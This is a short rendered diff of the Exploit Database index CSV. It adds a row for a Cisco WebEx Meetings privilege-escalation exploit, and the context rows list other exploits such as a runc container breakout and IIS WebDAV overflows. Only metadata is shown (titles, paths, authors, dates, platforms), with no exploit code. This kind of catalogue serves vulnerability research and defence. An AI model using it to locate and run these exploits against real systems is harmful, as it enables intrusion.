|
@ -10334,6 +10341,7 @@ id,file,description,date,author,type,platform,port
|
|||
46369,exploits/linux/local/46369.md,"runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2)",2019-02-13,embargo,local,linux,
|
||||
46416,exploits/windows/local/46416.txt,"MaxxAudio Drivers WavesSysSvc64.exe 1.6.2.0 - Local Privilege Escalation",2019-02-19,"Mike Siegel",local,windows,
|
||||
46428,exploits/macos/local/46428.m,"Apple macOS 10.13.5 - Local Privilege Escalation",2019-02-13,Synacktiv,local,macos,
|
||||
46479,exploits/windows/local/46479.txt,"Cisco WebEx Meetings < 33.6.6 / < 33.9.1 - Privilege Escalation",2019-03-01,SecureAuth,local,windows,
|
||||
46437,exploits/windows/local/46437.txt,"Memu Play 6.0.7 - Privilege Escalation",2019-02-21,"Alejandra Sánchez",local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue